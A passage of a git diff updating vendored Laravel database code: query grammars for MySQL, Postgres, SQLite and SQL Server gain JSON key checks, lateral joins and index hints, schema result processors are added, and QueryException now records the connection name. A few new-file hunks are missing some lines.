$this->wrapJsonFieldAndPath($column); + + return 'ifnull(json_contains_path('.$field.', \'one\''.$path.'), 0)'; + } + /** * Compile a "JSON length" statement into SQL. * @@ -115,10 +162,21 @@ protected function compileJsonLength($column, $operator, $value) return 'json_length('.$field.$path.') '.$operator.' '.$value; } + /** + * Compile a "JSON value cast" statement into SQL. + * + * @param string $value + * @return string + */ + public function compileJsonValueCast($value) + { + return 'cast('.$value.' as json)'; + } + /** * Compile the random statement into SQL. * - * @param string $seed + * @param string|int $seed * @return string */ public function compileRandom($seed) @@ -187,17 +245,41 @@ protected function compileUpdateColumns(Builder $query, array $values) */ public function compileUpsert(Builder $query, array $values, array $uniqueBy, array $update) { - $sql = $this->compileInsert($query, $values).' on duplicate key update '; + $useUpsertAlias = $query->connection->getConfig('use_upsert_alias'); + + $sql = $this->compileInsert($query, $values); - $columns = collect($update)->map(function ($value, $key) { - return is_numeric($key) - ? $this->wrap($value).' = values('.$this->wrap($value).')' - : $this->wrap($key).' = '.$this->parameter($value); + if ($useUpsertAlias) { + $sql .= ' as laravel_upsert_alias'; + } + + $sql .= ' on duplicate key update '; + + $columns = collect($update)->map(function ($value, $key) use ($useUpsertAlias) { + if (! is_numeric($key)) { + return $this->wrap($key).' = '.$this->parameter($value); + } + + return $useUpsertAlias + ? $this->wrap($value).' = '.$this->wrap('laravel_upsert_alias').'.'.$this->wrap($value) + : $this->wrap($value).' = values('.$this->wrap($value).')'; })->implode(', '); return $sql.$columns; } + /** + * Compile a "lateral join" clause. + * + * @param \Illuminate\Database\Query\JoinLateralClause $join + * @param string $expression + * @return string + */ + public function compileJoinLateral(JoinLateralClause $join, string $expression): string + { + return trim("{$join->type} join lateral {$expression} on true"); + } + /** * Prepare a JSON column being updated using the JSON_SET function. * diff --git a/vendor/illuminate/database/Query/Grammars/PostgresGrammar.php b/vendor/illuminate/database/Query/Grammars/PostgresGrammar.php index 1b49bf10e..c22720a05 100644 --- a/vendor/illuminate/database/Query/Grammars/PostgresGrammar.php +++ b/vendor/illuminate/database/Query/Grammars/PostgresGrammar.php @@ -3,6 +3,7 @@ namespace Illuminate\Database\Query\Grammars; use Illuminate\Database\Query\Builder; +use Illuminate\Database\Query\JoinLateralClause; use Illuminate\Support\Arr; use Illuminate\Support\Str; @@ -31,7 +32,7 @@ class PostgresGrammar extends Grammar ]; /** - * {@inheritdoc} + * Compile a basic where clause. * * @param \Illuminate\Database\Query\Builder $query * @param array $where @@ -39,7 +40,7 @@ class PostgresGrammar extends Grammar */ protected function whereBasic(Builder $query, $where) { - if (Str::contains(strtolower($where['operator']), 'like')) { + if (str_contains(strtolower($where['operator']), 'like')) { return sprintf( '%s::text %s %s', $this->wrap($where['column']), @@ -52,7 +53,7 @@ protected function whereBasic(Builder $query, $where) } /** - * {@inheritdoc} + * Compile a bitwise operator where clause. * * @param \Illuminate\Database\Query\Builder $query * @param array $where @@ -216,6 +217,40 @@ protected function compileJsonContains($column, $value) return '('.$column.')::jsonb @> '.$value; } + /** + * Compile a "JSON contains key" statement into SQL. + * + * @param string $column + * @return string + */ + protected function compileJsonContainsKey($column) + { + $segments = explode('->', $column); + + $lastSegment = array_pop($segments); + + if (filter_var($lastSegment, FILTER_VALIDATE_INT) !== false) { + $i = $lastSegment; + } elseif (preg_match('/\[(-?[0-9]+)\]$/', $lastSegment, $matches)) { + $segments[] = Str::beforeLast($lastSegment, $matches[0]); + + $i = $matches[1]; + } + + $column = str_replace('->>', '->', $this->wrap(implode('->', $segments))); + + if (isset($i)) { + return vsprintf('case when %s then %s else false end', [ + 'jsonb_typeof(('.$column.")::jsonb) = 'array'", + 'jsonb_array_length(('.$column.')::jsonb) >= '.($i < 0 ? abs($i) : $i + 1), + ]); + } + + $key = "'".str_replace("'", "''", $lastSegment)."'"; + + return 'coalesce(('.$column.')::jsonb ?? '.$key.', false)'; + } + /** * Compile a "JSON length" statement into SQL. * @@ -228,11 +263,11 @@ protected function compileJsonLength($column, $operator, $value) { $column = str_replace('->>', '->', $this->wrap($column)); - return 'json_array_length(('.$column.')::json) '.$operator.' '.$value; + return 'jsonb_array_length(('.$column.')::jsonb) '.$operator.' '.$value; } /** - * {@inheritdoc} + * Compile a single having clause. * * @param array $having * @return string @@ -258,7 +293,7 @@ protected function compileHavingBitwise($having) $parameter = $this->parameter($having['value']); - return $having['boolean'].' ('.$column.' '.$having['operator'].' '.$parameter.')::bool'; + return '('.$column.' '.$having['operator'].' '.$parameter.')::bool'; } /** @@ -289,6 +324,19 @@ public function compileInsertOrIgnore(Builder $query, array $values) return $this->compileInsert($query, $values).' on conflict do nothing'; } + /** + * Compile an insert ignore statement using a subquery into SQL. + * + * @param \Illuminate\Database\Query\Builder $query + * @param array $columns + * @param string $sql + * @return string + */ + public function compileInsertOrIgnoreUsing(Builder $query, array $columns, string $sql) + { + return $this->compileInsertUsing($query, $columns, $sql).' on conflict do nothing'; + } + /** * Compile an insert and get ID statement into SQL. * @@ -362,6 +410,18 @@ public function compileUpsert(Builder $query, array $values, array $uniqueBy, ar return $sql.$columns; } + /** + * Compile a "lateral join" clause. + * + * @param \Illuminate\Database\Query\JoinLateralClause $join + * @param string $expression + * @return string + */ + public function compileJoinLateral(JoinLateralClause $join, string $expression): string + { + return trim("{$join->type} join lateral {$expression} on true"); + } + /** * Prepares a JSON column being updated using the JSONB_SET function. * @@ -375,7 +435,7 @@ protected function compileJsonUpdateColumn($key, $value) $field = $this->wrap(array_shift($segments)); - $path = '\'{"'.implode('","', $segments).'"}\''; + $path = "'{".implode(',', $this->wrapJsonPathAttributes($segments, '"'))."}'"; return "{$field} = jsonb_set({$field}::jsonb, {$path}, {$this->parameter($value)})"; } @@ -624,17 +684,66 @@ protected function wrapJsonBooleanValue($value) } /** - * Wrap the attributes of the give JSON path. + * Wrap the attributes of the given JSON path. * * @param array $path * @return array */ protected function wrapJsonPathAttributes($path) { - return array_map(function ($attribute) { + $quote = func_num_args() === 2 ? func_get_arg(1) : "'"; + + return collect($path)->map(function ($attribute) { + return $this->parseJsonPathArrayKeys($attribute); + })->collapse()->map(function ($attribute) use ($quote) { return filter_var($attribute, FILTER_VALIDATE_INT) !== false ? $attribute - : "'$attribute'"; - }, $path); + : $quote.$attribute.$quote; + })->all(); + } + + /** + * Parse the given JSON path attribute for array keys. + * + * @param string $attribute + * @return array + */ + protected function parseJsonPathArrayKeys($attribute) + { + if (preg_match('/(\[[^\]]+\])+$/', $attribute, $parts)) { + $key = Str::beforeLast($attribute, $parts[0]); + + preg_match_all('/\[([^\]]+)\]/', $parts[0], $keys); + + return collect([$key]) + ->merge($keys[1]) + ->diff('') + ->values() + ->all(); + } + + return [$attribute]; + } + + /** + * Substitute the given bindings into the given raw SQL query. + * + * @param string $sql + * @param array $bindings + * @return string + */ + public function substituteBindingsIntoRawSql($sql, $bindings) + { + $query = parent::substituteBindingsIntoRawSql($sql, $bindings); + + foreach ($this->operators as $operator) { + if (! str_contains($operator, '?')) { + continue; + } + + $query = str_replace(str_replace('?', '??', $operator), $operator, $query); + } + + return $query; } } diff --git a/vendor/illuminate/database/Query/Grammars/SQLiteGrammar.php b/vendor/illuminate/database/Query/Grammars/SQLiteGrammar.php index 29a379686..e47942346 100644 --- a/vendor/illuminate/database/Query/Grammars/SQLiteGrammar.php +++ b/vendor/illuminate/database/Query/Grammars/SQLiteGrammar.php @@ -117,6 +117,20 @@ protected function dateBasedWhere($type, Builder $query, $where) return "strftime('{$type}', {$this->wrap($where['column'])}) {$where['operator']} cast({$value} as text)"; } + /** + * Compile the index hints for the query. + * + * @param \Illuminate\Database\Query\Builder $query + * @param \Illuminate\Database\Query\IndexHint $indexHint + * @return string + */ + protected function compileIndexHint(Builder $query, $indexHint) + { + return $indexHint->type === 'force' + ? "indexed by {$indexHint->index}" + : ''; + } + /** * Compile a "JSON length" statement into SQL. * @@ -132,6 +146,44 @@ protected function compileJsonLength($column, $operator, $value) return 'json_array_length('.$field.$path.') '.$operator.' '.$value; } + /** + * Compile a "JSON contains" statement into SQL. + * + * @param string $column + * @param mixed $value + * @return string + */ + protected function compileJsonContains($column, $value) + { + [$field, $path] = $this->wrapJsonFieldAndPath($column); + + return 'exists (select 1 from json_each('.$field.$path.') where '.$this->wrap('json_each.value').' is '.$value.')'; + } + + /** + * Prepare the binding for a "JSON contains" statement. + * + * @param mixed $binding + * @return mixed + */ + public function prepareBindingForJsonContains($binding) + { + return $binding; + } + + /** + * Compile a "JSON contains key" statement into SQL. + * + * @param string $column + * @return string + */ + protected function compileJsonContainsKey($column) + { + [$field, $path] = $this->wrapJsonFieldAndPath($column); + + return 'json_type('.$field.$path.') is not null'; + } + /** * Compile an update statement into SQL. * @@ -160,6 +212,19 @@ public function compileInsertOrIgnore(Builder $query, array $values) return Str::replaceFirst('insert', 'insert or ignore', $this->compileInsert($query, $values)); } + /** + * Compile an insert ignore statement using a subquery into SQL. + * + * @param \Illuminate\Database\Query\Builder $query + * @param array $columns + * @param string $sql + * @return string + */ + public function compileInsertOrIgnoreUsing(Builder $query, array $columns, string $sql) + { + return Str::replaceFirst('insert', 'insert or ignore', $this->compileInsertUsing($query, $columns, $sql)); + } + /** * Compile the columns for an update statement. * @@ -322,7 +387,7 @@ protected function compileDeleteWithJoinsOrLimit(Builder $query) public function compileTruncate(Builder $query) { return [ - 'delete from sqlite_sequence where name = ?' => [$query->from], + 'delete from sqlite_sequence where name = ?' => [$this->getTablePrefix().$query->from], 'delete from '.$this->wrapTable($query->from) => [], ]; } diff --git a/vendor/illuminate/database/Query/Grammars/SqlServerGrammar.php b/vendor/illuminate/database/Query/Grammars/SqlServerGrammar.php index 417b63e4a..062041c37 100644 --- a/vendor/illuminate/database/Query/Grammars/SqlServerGrammar.php +++ b/vendor/illuminate/database/Query/Grammars/SqlServerGrammar.php @@ -3,6 +3,7 @@ namespace Illuminate\Database\Query\Grammars; use Illuminate\Database\Query\Builder; +use Illuminate\Database\Query\JoinLateralClause; use Illuminate\Support\Arr; use Illuminate\Support\Str; @@ -19,6 +20,26 @@ class SqlServerGrammar extends Grammar '&', '&=', '|', '|=', '^', '^=', ]; + /** + * The components that make up a select clause. + * + * @var string[] + */ + protected $selectComponents = [ + 'aggregate', + 'columns', + 'from', + 'indexHint', + 'joins', + 'wheres', + 'groups', + 'havings', + 'orders', + 'offset', + 'limit', + 'lock', + ]; + /** * Compile a select query into SQL. * @@ -27,26 +48,12 @@ class SqlServerGrammar extends Grammar */ public function compileSelect(Builder $query) { - if (! $query->offset) { - return parent::compileSelect($query); - } - - if (is_null($query->columns)) { - $query->columns = ['*']; + // An order by clause is required for SQL Server offset to function... + if ($query->offset && empty($query->orders)) { + $query->orders[] = ['sql' => '(SELECT 0)']; } - $components = $this->compileComponents($query); - - if (! empty($components['orders'])) { - return parent::compileSelect($query)." offset {$query->offset} rows fetch next {$query->limit} rows only"; - } - - // If an offset is present on the query, we will need to wrap the query in - // a big "ANSI" offset syntax block. This is very nasty compared to the - // other database systems but is necessary for implementing features. - return $this->compileAnsiOffset( - $query, $components - ); + return parent::compileSelect($query); } /** @@ -96,6 +103,20 @@ protected function compileFrom(Builder $query, $table) return $from; } + /** + * Compile the index hints for the query. + * + * @param \Illuminate\Database\Query\Builder $query + * @param \Illuminate\Database\Query\IndexHint $indexHint + * @return string + */ + protected function compileIndexHint(Builder $query, $indexHint) + { + return $indexHint->type === 'force' + ? "with (index({$indexHint->index}))" + : ''; + } + /** * {@inheritdoc} * @@ -166,157 +187,84 @@ public function prepareBindingForJsonContains($binding) } /** - * Compile a "JSON length" statement into SQL. + * Compile a "JSON contains key" statement into SQL. * * @param string $column - * @param string $operator - * @param string $value - * @return string - */ - protected function compileJsonLength($column, $operator, $value) - { - [$field, $path] = $this->wrapJsonFieldAndPath($column); - - return '(select count(*) from openjson('.$field.$path.')) '.$operator.' '.$value; - } - - /** - * {@inheritdoc} - * - * @param array $having - * @return string - */ - protected function compileHaving(array $having) - { - if ($having['type'] === 'Bitwise') { - return $this->compileHavingBitwise($having); - } - - return parent::compileHaving($having); - } - - /** - * Compile a having clause involving a bitwise operator. - * - * @param array $having - * @return string - */ - protected function compileHavingBitwise($having) - { - $column = $this->wrap($having['column']); - - $parameter = $this->parameter($having['value']); - - return $having['boolean'].' ('.$column.' '.$having['operator'].' '.$parameter.') != 0'; - } - - /** - * Create a full ANSI offset clause for the query. - * - * @param \Illuminate\Database\Query\Builder $query - * @param array $components * @return string */ - protected function compileAnsiOffset(Builder $query, $components) + protected function compileJsonContainsKey($column) { - // An ORDER BY clause is required to make this offset query work, so if one does - // not exist we'll just create a dummy clause to trick the database and so it - // does not complain about the queries for not having an "order by" clause. - if (empty($components['orders'])) { - $components['orders'] = 'order by (select 0)'; - } + $segments = explode('->', $column); - // We need to add the row number to the query so we can compare it to the offset - // and limit values given for the statements. So we will add an expression to - // the "select" that will give back the row numbers on each of the records. - $components['columns'] .= $this->compileOver($components['orders']); + $lastSegment = array_pop($segments); - unset($components['orders']); + if (preg_match('/\[([0-9]+)\]$/', $lastSegment, $matches)) { + $segments[] = Str::beforeLast($lastSegment, $matches[0]); - if ($this->queryOrderContainsSubquery($query)) { - $query->bindings = $this->sortBindingsForSubqueryOrderBy($query); + $key = $matches[1]; + } else { + $key = "'".str_replace("'", "''", $lastSegment)."'"; } - // Next we need to calculate the constraints that should be placed on the query - // to get the right offset and limit from our query but if there is no limit - // set we will just handle the offset only since that is all that matters. - $sql = $this->concatenate($components); + [$field, $path] = $this->wrapJsonFieldAndPath(implode('->', $segments)); - return $this->compileTableExpression($sql, $query); + return $key.' in (select [key] from openjson('.$field.$path.'))'; } /** - * Compile the over statement for a table expression. + * Compile a "JSON length" statement into SQL. * - * @param string $orderings + * @param string $column + * @param string $operator + * @param string $value * @return string */ - protected function compileOver($orderings) - { - return ", row_number() over ({$orderings}) as row_num"; - } - - /** - * Determine if the query's order by clauses contain a subquery. - * - * @param \Illuminate\Database\Query\Builder $query - * @return bool - */ - protected function queryOrderContainsSubquery($query) + protected function compileJsonLength($column, $operator, $value) { - if (! is_array($query->orders)) { - return false; - } + [$field, $path] = $this->wrapJsonFieldAndPath($column); - return Arr::first($query->orders, function ($value) { - return $this->isExpression($value['column'] ?? null); - }, false) !== false; + return '(select count(*) from openjson('.$field.$path.')) '.$operator.' '.$value; } /** - * Move the order bindings to be after the "select" statement to account for an order by subquery. + * Compile a "JSON value cast" statement into SQL. * - * @param \Illuminate\Database\Query\Builder $query - * @return array + * @param string $value + * @return string */ - protected function sortBindingsForSubqueryOrderBy($query) + public function compileJsonValueCast($value) { - return Arr::sort($query->bindings, function ($bindings, $key) { - return array_search($key, ['select', 'order', 'from', 'join', 'where', 'groupBy', 'having', 'union', 'unionOrder']); - }); + return 'json_query('.$value.')'; } /** - * Compile a common table expression for a query. + * Compile a single having clause. * - * @param string $sql - * @param \Illuminate\Database\Query\Builder $query + * @param array $having * @return string */ - protected function compileTableExpression($sql, $query) + protected function compileHaving(array $having) { - $constraint = $this->compileRowConstraint($query); + if ($having['type'] === 'Bitwise') { + return $this->compileHavingBitwise($having); + } - return "select * from ({$sql}) as temp_table where row_num {$constraint} order by row_num"; + return parent::compileHaving($having); } /** - * Compile the limit / offset row constraint for a query. + * Compile a having clause involving a bitwise operator. * - * @param \Illuminate\Database\Query\Builder $query + * @param array $having * @return string */ - protected function compileRowConstraint($query) + protected function compileHavingBitwise($having) { - $start = (int) $query->offset + 1; - - if ($query->limit > 0) { - $finish = (int) $query->offset + (int) $query->limit; + $column = $this->wrap($having['column']); - return "between {$start} and {$finish}"; - } + $parameter = $this->parameter($having['value']); - return ">= {$start}"; + return '('.$column.' '.$having['operator'].' '.$parameter.') != 0'; } /** @@ -339,7 +287,7 @@ protected function compileDeleteWithoutJoins(Builder $query, $table, $where) /** * Compile the random statement into SQL. * - * @param string $seed + * @param string|int $seed * @return string */ public function compileRandom($seed) @@ -356,6 +304,12 @@ public function compileRandom($seed) */ protected function compileLimit(Builder $query, $limit) { + $limit = (int) $limit; + + if ($limit && $query->offset > 0) { + return "fetch next {$limit} rows only"; + } + return ''; } @@ -368,6 +322,12 @@ protected function compileLimit(Builder $query, $limit) */ protected function compileOffset(Builder $query, $offset) { + $offset = (int) $offset; + + if ($offset) { + return "offset {$offset} rows"; + } + return ''; } @@ -485,6 +445,20 @@ public function prepareBindingsForUpdate(array $bindings, array $values) ); } + /** + * Compile a "lateral join" clause. + * + * @param \Illuminate\Database\Query\JoinLateralClause $join + * @param string $expression + * @return string + */ + public function compileJoinLateral(JoinLateralClause $join, string $expression): string + { + $type = $join->type == 'left' ? 'outer' : 'cross'; + + return trim("{$type} apply {$expression}"); + } + /** * Compile the SQL statement to define a savepoint. * @@ -555,7 +529,7 @@ protected function wrapJsonBooleanValue($value) /** * Wrap a table in keyword identifiers. * - * @param \Illuminate\Database\Query\Expression|string $table + * @param \Illuminate\Contracts\Database\Query\Expression|string $table * @return string */ public function wrapTable($table) diff --git a/vendor/illuminate/database/Query/IndexHint.php b/vendor/illuminate/database/Query/IndexHint.php new file mode 100644 index 000000000..2a720a2de --- /dev/null +++ b/vendor/illuminate/database/Query/IndexHint.php @@ -0,0 +1,33 @@ +type = $type; + $this->index = $index; + } +} diff --git a/vendor/illuminate/database/Query/JoinClause.php b/vendor/illuminate/database/Query/JoinClause.php index 57d650a38..37a002c57 100644 --- a/vendor/illuminate/database/Query/JoinClause.php +++ b/vendor/illuminate/database/Query/JoinClause.php @@ -82,9 +82,9 @@ public function __construct(Builder $parentQuery, $type, $table) * * on `contacts`.`user_id` = `users`.`id` and `contacts`.`info_id` = `info`.`id` * - * @param \Closure|string $first + * @param \Closure|\Illuminate\Contracts\Database\Query\Expression|string $first * @param string|null $operator - * @param \Illuminate\Database\Query\Expression|string|null $second + * @param \Illuminate\Contracts\Database\Query\Expression|string|null $second * @param string $boolean * @return $this * @@ -102,9 +102,9 @@ public function on($first, $operator = null, $second = null, $boolean = 'and') /** * Add an "or on" clause to the join. * - * @param \Closure|string $first + * @param \Closure|\Illuminate\Contracts\Database\Query\Expression|string $first * @param string|null $operator - * @param \Illuminate\Database\Query\Expression|string|null $second + * @param \Illuminate\Contracts\Database\Query\Expression|string|null $second * @return \Illuminate\Database\Query\JoinClause */ public function orOn($first, $operator = null, $second = null) diff --git a/vendor/illuminate/database/Query/JoinLateralClause.php b/vendor/illuminate/database/Query/JoinLateralClause.php new file mode 100644 index 000000000..1be31d296 --- /dev/null +++ b/vendor/illuminate/database/Query/JoinLateralClause.php @@ -0,0 +1,8 @@ +column_name; }, $results); } + + /** + * Process the results of a columns query. + * + * @param array $results + * @return array + */ + public function processColumns($results) + { + return array_map(function ($result) { + $result = (object) $result; + + return [ + 'name' => $result->name, + 'type_name' => $result->type_name, + 'type' => $result->type, + 'collation' => $result->collation, + 'nullable' => $result->nullable === 'YES', + 'default' => $result->default, + 'auto_increment' => $result->extra === 'auto_increment', + 'comment' => $result->comment ?: null, + ]; + }, $results); + } + + /** + * Process the results of an indexes query. + * + * @param array $results + * @return array + */ + public function processIndexes($results) + { + return array_map(function ($result) { + $result = (object) $result; + + return [ + 'name' => $name = strtolower($result->name), + 'columns' => explode(',', $result->columns), + 'type' => strtolower($result->type), + 'unique' => (bool) $result->unique, + 'primary' => $name === 'primary', + ]; + }, $results); + } + + /** + * Process the results of a foreign keys query. + * + * @param array $results + * @return array + */ + public function processForeignKeys($results) + { + return array_map(function ($result) { + $result = (object) $result; + + return [ + 'name' => $result->name, + 'columns' => explode(',', $result->columns), + 'foreign_schema' => $result->foreign_schema, + 'foreign_table' => $result->foreign_table, + 'foreign_columns' => explode(',', $result->foreign_columns), + 'on_update' => strtolower($result->on_update), + 'on_delete' => strtolower($result->on_delete), + ]; + }, $results); + } } diff --git a/vendor/illuminate/database/Query/Processors/PostgresProcessor.php b/vendor/illuminate/database/Query/Processors/PostgresProcessor.php index 5956a8fb3..e7b062785 100644 --- a/vendor/illuminate/database/Query/Processors/PostgresProcessor.php +++ b/vendor/illuminate/database/Query/Processors/PostgresProcessor.php @@ -33,6 +33,8 @@ public function processInsertGetId(Builder $query, $sql, $values, $sequence = nu /** * Process the results of a column listing query. * + * @deprecated Will be removed in a future Laravel version. + * * @param array $results * @return array */ @@ -42,4 +44,136 @@ public function processColumnListing($results) return ((object) $result)->column_name; }, $results); } + + /** + * Process the results of a types query. + * + * @param array $results + * @return array + */ + public function processTypes($results) + { + return array_map(function ($result) { + $result = (object) $result; + + return [ + 'name' => $result->name, + 'schema' => $result->schema, + 'implicit' => (bool) $result->implicit, + 'type' => match (strtolower($result->type)) { + 'b' => 'base', + 'c' => 'composite', + 'd' => 'domain', + 'e' => 'enum', + 'p' => 'pseudo', + 'r' => 'range', + 'm' => 'multirange', + default => null, + }, + 'category' => match (strtolower($result->category)) { + 'a' => 'array', + 'b' => 'boolean', + 'c' => 'composite', + 'd' => 'date_time', + 'e' => 'enum', + 'g' => 'geometric', + 'i' => 'network_address', + 'n' => 'numeric', + 'p' => 'pseudo', + 'r' => 'range', + 's' => 'string', + 't' => 'timespan', + 'u' => 'user_defined', + 'v' => 'bit_string', + 'x' => 'unknown', + 'z' => 'internal_use', + default => null, + }, + ]; + }, $results); + } + + /** + * Process the results of a columns query. + * + * @param array $results + * @return array + */ + public function processColumns($results) + { + return array_map(function ($result) { + $result = (object) $result; + + $autoincrement = $result->default !== null && str_starts_with($result->default, 'nextval('); + + return [ + 'name' => $result->name, + 'type_name' => $result->type_name, + 'type' => $result->type, + 'collation' => $result->collation, + 'nullable' => (bool) $result->nullable, + 'default' => $autoincrement ? null : $result->default, + 'auto_increment' => $autoincrement, + 'comment' => $result->comment, + ]; + }, $results); + } + + /** + * Process the results of an indexes query. + * + * @param array $results + * @return array + */ + public function processIndexes($results) + { + return array_map(function ($result) { + $result = (object) $result; + + return [ + 'name' => strtolower($result->name), + 'columns' => explode(',', $result->columns), + 'type' => strtolower($result->type), + 'unique' => (bool) $result->unique, + 'primary' => (bool) $result->primary, + ]; + }, $results); + } + + /** + * Process the results of a foreign keys query. + * + * @param array $results + * @return array + */ + public function processForeignKeys($results) + { + return array_map(function ($result) { + $result = (object) $result; + + return [ + 'name' => $result->name, + 'columns' => explode(',', $result->columns), + 'foreign_schema' => $result->foreign_schema, + 'foreign_table' => $result->foreign_table, + 'foreign_columns' => explode(',', $result->foreign_columns), + 'on_update' => match (strtolower($result->on_update)) { + 'a' => 'no action', + 'r' => 'restrict', + 'c' => 'cascade', + 'n' => 'set null', + 'd' => 'set default', + default => null, + }, + 'on_delete' => match (strtolower($result->on_delete)) { + 'a' => 'no action', + 'r' => 'restrict', + 'c' => 'cascade', + 'n' => 'set null', + 'd' => 'set default', + default => null, + }, + ]; + }, $results); + } } diff --git a/vendor/illuminate/database/Query/Processors/Processor.php b/vendor/illuminate/database/Query/Processors/Processor.php index 0069b436d..97a994ebc 100644 --- a/vendor/illuminate/database/Query/Processors/Processor.php +++ b/vendor/illuminate/database/Query/Processors/Processor.php @@ -36,9 +36,96 @@ public function processInsertGetId(Builder $query, $sql, $values, $sequence = nu return is_numeric($id) ? (int) $id : $id; } + /** + * Process the results of a tables query. + * + * @param array $results + * @return array + */ + public function processTables($results) + { + return array_map(function ($result) { + $result = (object) $result; + + return [ + 'name' => $result->name, + 'schema' => $result->schema ?? null, // PostgreSQL and SQL Server + 'size' => isset($result->size) ? (int) $result->size : null, + 'comment' => $result->comment ?? null, // MySQL and PostgreSQL + 'collation' => $result->collation ?? null, // MySQL only + 'engine' => $result->engine ?? null, // MySQL only + ]; + }, $results); + } + + /** + * Process the results of a views query. + * + * @param array $results + * @return array + */ + public function processViews($results) + { + return array_map(function ($result) { + $result = (object) $result; + + return [ + 'name' => $result->name, + 'schema' => $result->schema ?? null, // PostgreSQL and SQL Server + 'definition' => $result->definition, + ]; + }, $results); + } + + /** + * Process the results of a types query. + * + * @param array $results + * @return array + */ + public function processTypes($results) + { + return $results; + } + + /** + * Process the results of a columns query. + * + * @param array $results + * @return array + */ + public function processColumns($results) + { + return $results; + } + + /** + * Process the results of an indexes query. + * + * @param array $results + * @return array + */ + public function processIndexes($results) + { + return $results; + } + + /** + * Process the results of a foreign keys query. + * + * @param array $results + * @return array + */ + public function processForeignKeys($results) + { + return $results; + } + /** * Process the results of a column listing query. * + * @deprecated Will be removed in a future Laravel version. + * * @param array $results * @return array */ diff --git a/vendor/illuminate/database/Query/Processors/SQLiteProcessor.php b/vendor/illuminate/database/Query/Processors/SQLiteProcessor.php index 65da1dff7..adcb16a20 100644 --- a/vendor/illuminate/database/Query/Processors/SQLiteProcessor.php +++ b/vendor/illuminate/database/Query/Processors/SQLiteProcessor.php @@ -7,6 +7,8 @@ class SQLiteProcessor extends Processor /** * Process the results of a column listing query. * + * @deprecated Will be removed in a future Laravel version. + * * @param array $results * @return array */ @@ -16,4 +18,88 @@ public function processColumnListing($results) return ((object) $result)->name; }, $results); } + + /** + * Process the results of a columns query. + * + * @param array $results + * @return array + */ + public function processColumns($results) + { + $hasPrimaryKey = array_sum(array_column($results, 'primary')) === 1; + + return array_map(function ($result) use ($hasPrimaryKey) { + $result = (object) $result; + + $type = strtolower($result->type); + + return [ + 'name' => $result->name, + 'type_name' => strtok($type, '(') ?: '', + 'type' => $type, + 'collation' => null, + 'nullable' => (bool) $result->nullable, + 'default' => $result->default, + 'auto_increment' => $hasPrimaryKey && $result->primary && $type === 'integer', + 'comment' => null, + ]; + }, $results); + } + + /** + * Process the results of an indexes query. + * + * @param array $results + * @return array + */ + public function processIndexes($results) + { + $primaryCount = 0; + + $indexes = array_map(function ($result) use (&$primaryCount) { + $result = (object) $result; + + if ($isPrimary = (bool) $result->primary) { + $primaryCount += 1; + } + + return [ + 'name' => strtolower($result->name), + 'columns' => explode(',', $result->columns), + 'type' => null, + 'unique' => (bool) $result->unique, + 'primary' => $isPrimary, + ]; + }, $results); + + if ($primaryCount > 1) { + $indexes = array_filter($indexes, fn ($index) => $index['name'] !== 'primary'); + } + + return $indexes; + } + + /** + * Process the results of a foreign keys query. + * + * @param array $results + * @return array + */ + public function processForeignKeys($results) + { + return array_map(function ($result) { + $result = (object) $result; + + return [ + 'name' => null, + 'columns' => explode(',', $result->columns), + 'foreign_schema' => null, + 'foreign_table' => $result->foreign_table, + 'foreign_columns' => explode(',', $result->foreign_columns), + 'on_update' => strtolower($result->on_update), + 'on_delete' => strtolower($result->on_delete), + ]; + }, $results); + } } diff --git a/vendor/illuminate/database/Query/Processors/SqlServerProcessor.php b/vendor/illuminate/database/Query/Processors/SqlServerProcessor.php index 49476f095..c089593ed 100644 --- a/vendor/illuminate/database/Query/Processors/SqlServerProcessor.php +++ b/vendor/illuminate/database/Query/Processors/SqlServerProcessor.php @@ -58,6 +58,8 @@ protected function processInsertGetIdForOdbc(Connection $connection) /** * Process the results of a column listing query. * + * @deprecated Will be removed in a future Laravel version. + * * @param array $results * @return array */ @@ -67,4 +69,79 @@ public function processColumnListing($results) return ((object) $result)->name; }, $results); } + + /** + * Process the results of a columns query. + * + * @param array $results + * @return array + */ + public function processColumns($results) + { + return array_map(function ($result) { + $result = (object) $result; + + $type = match ($typeName = $result->type_name) { + 'binary', 'varbinary', 'char', 'varchar', 'nchar', 'nvarchar' => $result->length == -1 ? $typeName.'(max)' : $typeName."($result->length)", + 'decimal', 'numeric' => $typeName."($result->precision,$result->places)", + 'float', 'datetime2', 'datetimeoffset', 'time' => $typeName."($result->precision)", + default => $typeName, + }; + + return [ + 'name' => $result->name, + 'type_name' => $result->type_name, + 'type' => $type, + 'collation' => $result->collation, + 'nullable' => (bool) $result->nullable, + 'default' => $result->default, + 'auto_increment' => (bool) $result->autoincrement, + 'comment' => $result->comment, + ]; + }, $results); + } + + /** + * Process the results of an indexes query. + * + * @param array $results + * @return array + */ + public function processIndexes($results) + { + return array_map(function ($result) { + $result = (object) $result; + + return [ + 'name' => strtolower($result->name), + 'columns' => explode(',', $result->columns), + 'type' => strtolower($result->type), + 'unique' => (bool) $result->unique, + 'primary' => (bool) $result->primary, + ]; + }, $results); + } + + /** + * Process the results of a foreign keys query. + * + * @param array $results + * @return array + */ + public function processForeignKeys($results) + { + return array_map(function ($result) { + $result = (object) $result; + + return [ + 'name' => $result->name, + 'columns' => explode(',', $result->columns), + 'foreign_schema' => $result->foreign_schema, + 'foreign_table' => $result->foreign_table, + 'foreign_columns' => explode(',', $result->foreign_columns), + 'on_update' => strtolower(str_replace('_', ' ', $result->on_update)), + 'on_delete' => strtolower(str_replace('_', ' ', $result->on_delete)), + ]; + }, $results); + } } diff --git a/vendor/illuminate/database/QueryException.php b/vendor/illuminate/database/QueryException.php index 74e5a31aa..84aebb1a6 100644 --- a/vendor/illuminate/database/QueryException.php +++ b/vendor/illuminate/database/QueryException.php @@ -8,6 +8,13 @@ class QueryException extends PDOException { + /** + * The database connection name. + * + * @var string + */ + public $connectionName; + /** * The SQL for the query. * @@ -25,19 +32,21 @@ class QueryException extends PDOException /** * Create a new query exception instance. * + * @param string $connectionName * @param string $sql * @param array $bindings * @param \Throwable $previous * @return void */ - public function __construct($sql, array $bindings, Throwable $previous) + public function __construct($connectionName, $sql, array $bindings, Throwable $previous) { parent::__construct('', 0, $previous); + $this->connectionName = $connectionName; $this->sql = $sql; $this->bindings = $bindings; $this->code = $previous->getCode(); - $this->message = $this->formatMessage($sql, $bindings, $previous); + $this->message = $this->formatMessage($connectionName, $sql, $bindings, $previous); if ($previous instanceof PDOException) { $this->errorInfo = $previous->errorInfo; @@ -47,14 +56,25 @@ public function __construct($sql, array $bindings, Throwable $previous) /** * Format the SQL error message. * + * @param string $connectionName * @param string $sql * @param array $bindings * @param \Throwable $previous * @return string */ - protected function formatMessage($sql, $bindings, Throwable $previous) + 